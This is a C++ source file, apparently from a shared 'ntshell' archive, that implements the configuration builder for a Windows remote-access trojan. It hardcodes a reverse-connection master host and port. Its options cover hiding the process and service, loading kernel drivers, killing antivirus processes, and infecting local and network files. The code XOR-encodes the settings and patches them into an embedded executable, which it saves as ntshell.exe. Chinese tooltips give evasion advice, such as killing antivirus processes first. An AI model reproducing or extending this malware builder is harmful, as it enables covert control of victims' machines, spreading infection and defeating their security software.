www.pudn.com > ntshell.rar > config.cpp
// config.cpp: implementation of the CServerConfig class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "resource.h"
#include "common.h"
#include "ntshell.h"
#include "md5.h"
#include "config.h"
TCHAR MasterAddr[MAX_ADDRESS_LENGTH] = "mnjcc.vicp.net";
TCHAR MasterAddr2[MAX_ADDRESS_LENGTH] = "192.168.0.23";
USHORT MasterPort = 7070;
USHORT ListenPort = 24704;
ULONG ConnSpace = 20000;
UCHAR WaitMode = 1;
BOOLEAN PortHijack = FALSE;
BOOLEAN NeedPwd = FALSE;
TCHAR Password[MAX_PASSWORD_LENGTH];
ULONG ConfigFlags = FLAG_ALLOW_RING0 | FLAG_RECORD_ERROR | FLAG_AUTO_BACKUP_FILE | FLAG_RING0_OPEN_FILE;
UCHAR RunMethod = 0;
UCHAR config[CONFIG_SECTION_SIZE] = {0x12, 0x34, 0x56, 0x78};
HHOOK hHookOldMsgFilter;
CToolTipCtrl *tip;
LRESULT CALLBACK CServerConfig::MsgFilterHook(int code, WPARAM wParam, LPARAM lParam)
{
if (::IsWindow(*tip))
{
tip->RelayEvent((LPMSG)lParam);
}
return CallNextHookEx(hHookOldMsgFilter, code, wParam, lParam);
}
LRESULT CServerConfig::OnInitDialog(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM lParam, BOOL& /*bHandled*/)
{
// center the dialog on the screen
CenterWindow();
m_tip.Create(this->m_hWnd);
m_tip.AddTool(GetDlgItem(IDC_CHECK3), "可能被某些反毒软件检测到");
m_tip.AddTool(GetDlgItem(IDC_CHECK4), "可能导致远程操作系统崩溃");
m_tip.AddTool(GetDlgItem(IDC_CHECK6), "需打开Ring0操作,否则没什么效果");
m_tip.AddTool(GetDlgItem(IDC_CHECK7), "慎用");
m_tip.AddTool(GetDlgItem(IDC_CHECK9), "位于%SYSTEMROOT%\\ntshell.log");
m_tip.AddTool(GetDlgItem(IDC_CHECK10), "可感染使用中的文件");
m_tip.AddTool(GetDlgItem(IDC_CHECK11), "备份在%SYSTEMROOT%\\system32\\backup目录下");
m_tip.AddTool(GetDlgItem(IDC_CHECK12), "会被反毒软件阻止,2000/XP可尝试先杀掉反毒软件进程");
m_tip.SetTipTextColor(RGB(0, 0, 255));
m_tip.SetDelayTime(TTDT_AUTOPOP, 15000);
m_tip.Activate(TRUE);
hHookOldMsgFilter = SetWindowsHookEx(WH_MSGFILTER, MsgFilterHook, NULL, GetCurrentThreadId());
tip = &m_tip;
LoadConfig();
return TRUE;
}
LRESULT CServerConfig::OnDestroy(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM lParam, BOOL& /*bHandled*/)
{
UnhookWindowsHookEx(hHookOldMsgFilter);
return TRUE;
}
LRESULT CServerConfig::OnHelp(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM lParam, BOOL& /*bHandled*/)
{
LPHELPINFO lphi = (LPHELPINFO)lParam;
WinHelp("test", HELP_CONTEXTPOPUP);
return 0;
}
void CServerConfig::SetConfigSection(int Block)
{
static int pointer = 0;
UCHAR *p;
ULONG l;
switch (Block)
{
case CFG_BEGIN:
memset(config + 4, 0, sizeof(config) - 4);
pointer = 5;
config[4] = Block;
return;
case CFG_END:
config[pointer] = Block;
return;
case CFG_MASTER_ADDR:
p = (UCHAR *)MasterAddr;
l = strlen(MasterAddr) + 1;
break;
case CFG_MASTER_ADDR2:
p = (UCHAR *)MasterAddr2;
l = strlen(MasterAddr2) + 1;
break;
case CFG_MASTER_PORT:
p = (UCHAR *)&MasterPort;
l = sizeof(MasterPort);
break;
case CFG_LISTEN_PORT:
p = (UCHAR *)&ListenPort;
l = sizeof(ListenPort);
break;
case CFG_WAIT_MODE:
p = (UCHAR *)&WaitMode;
l = sizeof(WaitMode);
break;
case CFG_NEED_PWD:
p = (UCHAR *)&NeedPwd;
l = sizeof(NeedPwd);
break;
case CFG_PASSWORD:
p = (UCHAR *)Password;
l = MAX_PASSWORD_LENGTH;
break;
case CFG_GLOBAL_FLAGS:
p = (UCHAR *)&ConfigFlags;
l = sizeof(MasterPort);
break;
case CFG_CONN_SPACE:
p = (UCHAR *)&ConnSpace;
l = sizeof(ConnSpace);
break;
case CFG_PORT_HIJACK:
p = (UCHAR *)&PortHijack;
l = sizeof(PortHijack);
break;
case CFG_RUN_METHOD:
p = (UCHAR *)&RunMethod;
l = sizeof(RunMethod);
break;
default:
MessageBox("配置错误,指定块未定义", "", MB_ICONERROR);
return;
}
config[pointer] = Block;
config[pointer + 1] = (UCHAR)l;
memcpy(config + pointer + 2, p, l);
pointer += 1 + 1 + l;
}
LRESULT CServerConfig::OnReload(WORD /*wNotifyCode*/, WORD /*wID*/, HWND /*hWndCtl*/, BOOL& /*bHandled*/)
{
LoadConfig();
return 0;
}
LRESULT CServerConfig::OnOK(WORD /*wNotifyCode*/, WORD /*wID*/, HWND /*hWndCtl*/, BOOL& /*bHandled*/)
{
SetConfigSection(CFG_BEGIN);
if (IsDlgButtonChecked(IDC_RADIO1) == BST_CHECKED || IsDlgButtonChecked(IDC_RADIO3) == BST_CHECKED)
{
PortHijack = IsDlgButtonChecked(IDC_RADIO4) == BST_CHECKED ? FALSE : TRUE;
SetConfigSection(CFG_PORT_HIJACK);
ListenPort = GetDlgItemInt(IDC_EDIT5);
SetConfigSection(CFG_LISTEN_PORT);
}
CString msg;
if (IsDlgButtonChecked(IDC_RADIO2) == BST_CHECKED || IsDlgButtonChecked(IDC_RADIO3) == BST_CHECKED)
{
if (::GetWindowTextLength(GetDlgItem(IDC_EDIT1)) >= sizeof(MasterAddr) ||
::GetWindowTextLength(GetDlgItem(IDC_EDIT2)) >= sizeof(MasterAddr2))
{
msg.Format("反向连接地址长度不能超过 %d", sizeof(MasterAddr) - 1);
MessageBox(msg, "错误", MB_ICONERROR);
return -1;
}
GetDlgItemText(IDC_EDIT1, MasterAddr, sizeof(MasterAddr));
SetConfigSection(CFG_MASTER_ADDR);
GetDlgItemText(IDC_EDIT2, MasterAddr2, sizeof(MasterAddr2));
SetConfigSection(CFG_MASTER_ADDR2);
MasterPort = GetDlgItemInt(IDC_EDIT3);
SetConfigSection(CFG_MASTER_PORT);
ConnSpace = GetDlgItemInt(IDC_EDIT4);
SetConfigSection(CFG_CONN_SPACE);
}
if (IsDlgButtonChecked(IDC_RADIO1) == BST_CHECKED)
WaitMode = 0;
else if (IsDlgButtonChecked(IDC_RADIO2) == BST_CHECKED)
WaitMode = 1;
else if (IsDlgButtonChecked(IDC_RADIO3) == BST_CHECKED)
WaitMode = 2;
SetConfigSection(CFG_WAIT_MODE);
NeedPwd = FALSE;
if (IsDlgButtonChecked(IDC_CHECK1) == BST_CHECKED)
{
TCHAR pwd1[32], pwd2[32];
ULONG len1, len2;
len1 = ::GetWindowTextLength(GetDlgItem(IDC_EDIT6));
len2 = ::GetWindowTextLength(GetDlgItem(IDC_EDIT7));
if ((len1 > sizeof(pwd1) - 1 || len1 <= 0) || (len2 > sizeof(pwd2) - 1 || len2 <= 0))
{
msg.Format("密码长度必需是 1-%d 个字符", sizeof(pwd1) - 1);
MessageBox(msg, "错误", MB_ICONERROR);
return -1;
}
GetDlgItemText(IDC_EDIT6, pwd1, sizeof(pwd1));
GetDlgItemText(IDC_EDIT7, pwd2, sizeof(pwd2));
if (strcmp(pwd1, pwd2) != 0)
{
MessageBox("两次输入的密码不一致,请重新输入", "错误", MB_ICONERROR);
SetDlgItemText(IDC_EDIT6, "");
SetDlgItemText(IDC_EDIT7, "");
return -1;
}
NeedPwd = TRUE;
SetConfigSection(CFG_NEED_PWD);
memset(Password, 0, sizeof(Password));
MD5_CTX context;
MD5Init(&context);
MD5Update(&context, (BYTE *)pwd1, strlen(pwd1));
MD5Final((BYTE *)Password, &context);
Password[0] = 86;
Password[4] = 29;
Password[8] = 91;
SetConfigSection(CFG_PASSWORD);
}
if (IsDlgButtonChecked(IDC_RADIO6) == BST_CHECKED)
{
RunMethod = 0;
}
else
{
if (IsDlgButtonChecked(IDC_CHECK2) == BST_CHECKED)
RunMethod = 2;
else
RunMethod = 1;
}
SetConfigSection(CFG_RUN_METHOD);
ConfigFlags = 0;
if (IsDlgButtonChecked(IDC_CHECK3) == BST_CHECKED)
ConfigFlags |= FLAG_ALLOW_HIDE_PROCESS;
if (IsDlgButtonChecked(IDC_CHECK4) == BST_CHECKED)
ConfigFlags |= FLAG_ALLOW_RING0;
if (IsDlgButtonChecked(IDC_CHECK5) == BST_CHECKED)
ConfigFlags |= FLAG_RUN_SERVICE_ALWAYS;
if (IsDlgButtonChecked(IDC_CHECK6) == BST_CHECKED)
ConfigFlags |= FLAG_AUTO_KILL_AVSOFT;
if (IsDlgButtonChecked(IDC_CHECK7) == BST_CHECKED)
ConfigFlags |= FLAG_AUTO_INFECT_FILE;
if (IsDlgButtonChecked(IDC_CHECK8) == BST_CHECKED)
ConfigFlags |= FLAG_AUTO_INFECT_LAN_FILE;
if (IsDlgButtonChecked(IDC_CHECK9) == BST_CHECKED)
ConfigFlags |= FLAG_RECORD_ERROR;
if (IsDlgButtonChecked(IDC_CHECK10) == BST_CHECKED)
ConfigFlags |= FLAG_RING0_OPEN_FILE;
if (IsDlgButtonChecked(IDC_CHECK11) == BST_CHECKED)
ConfigFlags |= FLAG_AUTO_BACKUP_FILE;
if (IsDlgButtonChecked(IDC_CHECK12) == BST_CHECKED)
ConfigFlags |= FLAG_ALLOW_LOAD_DRIVER;
if (IsDlgButtonChecked(IDC_CHECK13) == BST_CHECKED)
ConfigFlags |= FLAG_ALLOW_HIDE_SERVICE;
SetConfigSection(CFG_GLOBAL_FLAGS);
SetConfigSection(CFG_END);
SaveConfig();
return 0;
}
LRESULT CServerConfig::OnMake(WORD wNotifyCode, WORD wID, HWND hWndCtl, BOOL& bHandled)
{
if (OnOK(wNotifyCode, wID, hWndCtl, bHandled) != 0)
return 0;
HMODULE hModule = GetModuleHandle(NULL);
HRSRC hSrc = FindResource(hModule, MAKEINTRESOURCE(IDR_NTSHELL), "BINARY");
HGLOBAL hRes = LoadResource(hModule, hSrc);
ULONG size = SizeofResource(hModule, hSrc);
UCHAR *pExe = new UCHAR[size];
if (pExe == NULL)
return 0;
UCHAR *p = (UCHAR *)LockResource(hRes);
memcpy(pExe, p, size);
FreeResource(hRes);
UCHAR *pp = (UCHAR *)MemorySearchLR(pExe, size, "\x12\x34\x56\x78", 4);
memcpy(pp, config, sizeof(config));
for (int i = 4; i < sizeof(config); i++)
pp[i] ^= 0xa7;
OPENFILENAME ofn;
TCHAR szFileName[MAX_PATH] = "ntshell.exe";
memset(&ofn, 0, sizeof(OPENFILENAME));
ofn.lStructSize = sizeof(OPENFILENAME);
ofn.hwndOwner = NULL;
ofn.hInstance = GetModuleHandle(NULL);
ofn.lpstrFilter = "应用程序 (*.exe)\0*.exe\0全部文件 (*.*)\0*.*\0";
ofn.lpstrFile = szFileName;
ofn.nMaxFile = MAX_PATH;
ofn.Flags = OFN_OVERWRITEPROMPT | OFN_PATHMUSTEXIST | OFN_LONGNAMES | OFN_EXPLORER | OFN_HIDEREADONLY;
if (!GetSaveFileName(&ofn))
{
delete [] pExe;
return 0;
}
HANDLE hFile = CreateFile(szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
CString msg;
msg.Format("不能创建文件 %s", szFileName);
delete [] pExe;
return 0;
}
DWORD nWriteBytes;
WriteFile(hFile, pExe, size, &nWriteBytes, NULL);
CloseHandle(hFile);
delete [] pExe;
return 0;
}
LRESULT CServerConfig::OnClose(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/)
{
EndDialog(wID);
return 0;
}
LRESULT CServerConfig::OnCancel(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/)
{
EndDialog(wID);
return 0;
}
LRESULT CServerConfig::OnButtonClicked(int /*code*/, int id, HWND /*hWnd*/, BOOL& /*bHandled*/)
{
switch (id)
{
case IDC_RADIO1:
::EnableWindow(GetDlgItem(IDC_EDIT1), FALSE);
::EnableWindow(GetDlgItem(IDC_EDIT2), FALSE);
::EnableWindow(GetDlgItem(IDC_EDIT3), FALSE);
::EnableWindow(GetDlgItem(IDC_EDIT4), FALSE);
::EnableWindow(GetDlgItem(IDC_RADIO4), TRUE);
::EnableWindow(GetDlgItem(IDC_RADIO5), TRUE);
::EnableWindow(GetDlgItem(IDC_EDIT5), TRUE);
CheckRadioButton(IDC_RADIO1, IDC_RADIO3, id);
break;
case IDC_RADIO2:
::EnableWindow(GetDlgItem(IDC_EDIT1), TRUE);
::EnableWindow(GetDlgItem(IDC_EDIT2), TRUE);
::EnableWindow(GetDlgItem(IDC_EDIT3), TRUE);
::EnableWindow(GetDlgItem(IDC_EDIT4), TRUE);
::EnableWindow(GetDlgItem(IDC_RADIO4), FALSE);
::EnableWindow(GetDlgItem(IDC_RADIO5), FALSE);
::EnableWindow(GetDlgItem(IDC_EDIT5), FALSE);
CheckRadioButton(IDC_RADIO1, IDC_RADIO3, id);
break;
case IDC_RADIO3:
::EnableWindow(GetDlgItem(IDC_EDIT1), TRUE);
::EnableWindow(GetDlgItem(IDC_EDIT2), TRUE);
::EnableWindow(GetDlgItem(IDC_EDIT3), TRUE);
::EnableWindow(GetDlgItem(IDC_EDIT4), TRUE);
::EnableWindow(GetDlgItem(IDC_RADIO4), TRUE);
::EnableWindow(GetDlgItem(IDC_RADIO5), TRUE);
::EnableWindow(GetDlgItem(IDC_EDIT5), TRUE);
CheckRadioButton(IDC_RADIO1, IDC_RADIO3, id);
break;
case IDC_RADIO4:
case IDC_RADIO5:
CheckRadioButton(IDC_RADIO4, IDC_RADIO5, id);
break;
case IDC_RADIO6:
::EnableWindow(GetDlgItem(IDC_CHECK2), FALSE);
CheckRadioButton(IDC_RADIO6, IDC_RADIO7, id);
break;
case IDC_RADIO7:
CheckRadioButton(IDC_RADIO6, IDC_RADIO7, id);
::EnableWindow(GetDlgItem(IDC_CHECK2), TRUE);
break;
case IDC_CHECK1:
if (IsDlgButtonChecked(IDC_CHECK1) == BST_CHECKED)
{
::EnableWindow(GetDlgItem(IDC_EDIT6), TRUE);
::EnableWindow(GetDlgItem(IDC_EDIT7), TRUE);
}
else
{
::EnableWindow(GetDlgItem(IDC_EDIT6), FALSE);
::EnableWindow(GetDlgItem(IDC_EDIT7), FALSE);
}
break;
}
return 0;
}
void CServerConfig::LoadConfig()
{
TCHAR szIniPath[MAX_PATH];
GetModuleFileName(NULL, szIniPath, sizeof(szIniPath));
_tcscpy(_tcschr(szIniPath, '\\'), "ntshell.ini");
GetPrivateProfileString("ServerConfig", "MasterAddr", "mnjcc.vicp.net", MasterAddr, sizeof(MasterAddr), szIniPath);
GetPrivateProfileString("ServerConfig", "MasterAddr2", "192.168.0.23", MasterAddr2, sizeof(MasterAddr2), szIniPath);
MasterPort = GetPrivateProfileInt("ServerConfig", "MasterPort", 7070, szIniPath);
ConnSpace = GetPrivateProfileInt("ServerConfig", "ConnSpace", 20000, szIniPath);
ListenPort = GetPrivateProfileInt("ServerConfig", "ListenPort", 24704, szIniPath);
WaitMode = GetPrivateProfileInt("ServerConfig", "WaitMode", 1, szIniPath);
PortHijack = GetPrivateProfileInt("ServerConfig", "PortHijack", FALSE, szIniPath);
NeedPwd = GetPrivateProfileInt("ServerConfig", "NeedPwd", FALSE, szIniPath);
ConfigFlags = GetPrivateProfileInt("ServerConfig", "ConfigFlags", FLAG_ALLOW_RING0 | FLAG_RECORD_ERROR | FLAG_AUTO_BACKUP_FILE | FLAG_RING0_OPEN_FILE, szIniPath);
RunMethod = GetPrivateProfileInt("ServerConfig", "RunMethod", 0, szIniPath);
SetDlgItemText(IDC_EDIT1, MasterAddr);
SetDlgItemText(IDC_EDIT2, MasterAddr2);
SetDlgItemInt(IDC_EDIT3, MasterPort);
SetDlgItemInt(IDC_EDIT4, ConnSpace);
SetDlgItemInt(IDC_EDIT5, ListenPort);
CheckRadioButton(IDC_RADIO1, IDC_RADIO3, IDC_RADIO1 + WaitMode);
CheckRadioButton(IDC_RADIO4, IDC_RADIO5, PortHijack == FALSE ? IDC_RADIO4 : IDC_RADIO5);
CheckDlgButton(IDC_CHECK1, NeedPwd ? BST_CHECKED : BST_UNCHECKED);
SetDlgItemText(IDC_EDIT6, "");
SetDlgItemText(IDC_EDIT7, "");
CheckRadioButton(IDC_RADIO6, IDC_RADIO7, RunMethod == 0 ? IDC_RADIO6 : IDC_RADIO7);
CheckDlgButton(IDC_CHECK2, RunMethod == 2 ? BST_CHECKED : BST_UNCHECKED);
CheckDlgButton(IDC_CHECK3, ConfigFlags & FLAG_ALLOW_HIDE_PROCESS ? BST_CHECKED : BST_UNCHECKED);
CheckDlgButton(IDC_CHECK4, ConfigFlags & FLAG_ALLOW_RING0 ? BST_CHECKED : BST_UNCHECKED);
CheckDlgButton(IDC_CHECK5, ConfigFlags & FLAG_RUN_SERVICE_ALWAYS ? BST_CHECKED : BST_UNCHECKED);
CheckDlgButton(IDC_CHECK6, ConfigFlags & FLAG_AUTO_KILL_AVSOFT ? BST_CHECKED : BST_UNCHECKED);
CheckDlgButton(IDC_CHECK7, ConfigFlags & FLAG_AUTO_INFECT_FILE ? BST_CHECKED : BST_UNCHECKED);
CheckDlgButton(IDC_CHECK8, ConfigFlags & FLAG_AUTO_INFECT_LAN_FILE ? BST_CHECKED : BST_UNCHECKED);
CheckDlgButton(IDC_CHECK9, ConfigFlags & FLAG_RECORD_ERROR ? BST_CHECKED : BST_UNCHECKED);
CheckDlgButton(IDC_CHECK10, ConfigFlags & FLAG_RING0_OPEN_FILE ? BST_CHECKED : BST_UNCHECKED);
CheckDlgButton(IDC_CHECK11, ConfigFlags & FLAG_AUTO_BACKUP_FILE ? BST_CHECKED : BST_UNCHECKED);
CheckDlgButton(IDC_CHECK12, ConfigFlags & FLAG_ALLOW_LOAD_DRIVER ? BST_CHECKED : BST_UNCHECKED);
CheckDlgButton(IDC_CHECK13, ConfigFlags & FLAG_ALLOW_HIDE_SERVICE ? BST_CHECKED : BST_UNCHECKED);
::EnableWindow(GetDlgItem(IDC_EDIT1), WaitMode == 0 ? FALSE : TRUE);
::EnableWindow(GetDlgItem(IDC_EDIT2), WaitMode == 0 ? FALSE : TRUE);
::EnableWindow(GetDlgItem(IDC_EDIT3), WaitMode == 0 ? FALSE : TRUE);
::EnableWindow(GetDlgItem(IDC_EDIT4), WaitMode == 0 ? FALSE : TRUE);
::EnableWindow(GetDlgItem(IDC_EDIT5), WaitMode == 1 ? FALSE : TRUE);
::EnableWindow(GetDlgItem(IDC_RADIO4), WaitMode == 1 ? FALSE : TRUE);
::EnableWindow(GetDlgItem(IDC_RADIO5), WaitMode == 1 ? FALSE : TRUE);
::EnableWindow(GetDlgItem(IDC_CHECK2), RunMethod == 0 ? FALSE : TRUE);
::EnableWindow(GetDlgItem(IDC_EDIT6), NeedPwd ? TRUE : FALSE);
::EnableWindow(GetDlgItem(IDC_EDIT7), NeedPwd ? TRUE : FALSE);
}
void CServerConfig::SaveConfig()
{
TCHAR szIniPath[MAX_PATH];
GetModuleFileName(NULL, szIniPath, sizeof(szIniPath));
_tcscpy(_tcschr(szIniPath, '\\'), "ntshell.ini");
CString tmp;
WritePrivateProfileString("ServerConfig", "MasterAddr", MasterAddr, szIniPath);
WritePrivateProfileString("ServerConfig", "MasterAddr2", MasterAddr2, szIniPath);
tmp.Format("%d", MasterPort);
WritePrivateProfileString("ServerConfig", "MasterPort", tmp, szIniPath);
tmp.Format("%d", ConnSpace);
WritePrivateProfileString("ServerConfig", "ConnSpace", tmp, szIniPath);
tmp.Format("%d", ListenPort);
WritePrivateProfileString("ServerConfig", "ListenPort", tmp, szIniPath);
tmp.Format("%d", WaitMode);
WritePrivateProfileString("ServerConfig", "WaitMode", tmp, szIniPath);
tmp.Format("%d", PortHijack);
WritePrivateProfileString("ServerConfig", "PortHijack", tmp, szIniPath);
tmp.Format("%d", NeedPwd);
WritePrivateProfileString("ServerConfig", "NeedPwd", tmp, szIniPath);
tmp.Format("%d", ConfigFlags);
WritePrivateProfileString("ServerConfig", "ConfigFlags", tmp, szIniPath);
tmp.Format("%d", RunMethod);
WritePrivateProfileString("ServerConfig", "RunMethod", tmp, szIniPath);
}
//////////////////////////////////////////////////////////////////////
//
// config.cpp: implementation of the CLocalConfig class.
//
//////////////////////////////////////////////////////////////////////
ULONG ScreenCaptureMethod = SCREEN_XOR;
ULONG ScreenCaptureSpace = 1000;
BOOLEAN AutoZoom = FALSE;
USHORT LocalListenPort = 7070;
LRESULT CLocalConfig::OnInitDialog(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM lParam, BOOL& /*bHandled*/)
{
// center the dialog on the screen
CenterWindow();
//LoadConfig();
switch (ScreenCaptureMethod)
{
case SCREEN_XOR:
CheckDlgButton(IDC_RADIO1, BST_CHECKED);
break;
case SCREEN_DIFFERENCE:
CheckDlgButton(IDC_RADIO2, BST_CHECKED);
break;
}
if (!AutoZoom)
CheckDlgButton(IDC_RADIO3, BST_CHECKED);
else
CheckDlgButton(IDC_RADIO4, BST_CHECKED);
SetDlgItemInt(IDC_EDIT1, ScreenCaptureSpace);
SetDlgItemInt(IDC_EDIT2, LocalListenPort);
return TRUE;
}
LRESULT CLocalConfig::OnOK(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/)
{
if (IsDlgButtonChecked(IDC_RADIO1))
ScreenCaptureMethod = SCREEN_XOR;
if (IsDlgButtonChecked(IDC_RADIO2))
ScreenCaptureMethod = SCREEN_DIFFERENCE;
ScreenCaptureSpace = GetDlgItemInt(IDC_EDIT1);
if (IsDlgButtonChecked(IDC_RADIO3))
AutoZoom = FALSE;
if (IsDlgButtonChecked(IDC_RADIO4))
AutoZoom = TRUE;
LocalListenPort = GetDlgItemInt(IDC_EDIT2);
SaveConfig();
EndDialog(wID);
return 0;
}
LRESULT CLocalConfig::OnCancel(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/)
{
EndDialog(wID);
return 0;
}
void CLocalConfig::LoadConfig()
{
TCHAR szIniPath[MAX_PATH];
GetModuleFileName(NULL, szIniPath, sizeof(szIniPath));
_tcscpy(_tcschr(szIniPath, '\\'), "ntshell.ini");
LocalListenPort = GetPrivateProfileInt("LocalConfig", "ListenPort", 7070, szIniPath);
ScreenCaptureMethod = GetPrivateProfileInt("LocalConfig", "ScreenCaptureMethod", SCREEN_XOR, szIniPath);
ScreenCaptureSpace = GetPrivateProfileInt("LocalConfig", "ScreenCaptureSpace", 1000, szIniPath);
AutoZoom = GetPrivateProfileInt("LocalConfig", "AutoZoom", FALSE, szIniPath);
}
void CLocalConfig::SaveConfig()
{
CString tmp;
TCHAR szIniPath[MAX_PATH];
GetModuleFileName(NULL, szIniPath, sizeof(szIniPath));
_tcscpy(_tcschr(szIniPath, '\\'), "ntshell.ini");
tmp.Format("%d", LocalListenPort);
WritePrivateProfileString("LocalConfig", "ListenPort", tmp, szIniPath);
tmp.Format("%d", ScreenCaptureMethod);
WritePrivateProfileString("LocalConfig", "ScreenCaptureMethod", tmp, szIniPath);
tmp.Format("%d", ScreenCaptureSpace);
WritePrivateProfileString("LocalConfig", "ScreenCaptureSpace", tmp, szIniPath);
tmp.Format("%d", AutoZoom);
WritePrivateProfileString("LocalConfig", "AutoZoom", tmp, szIniPath);
}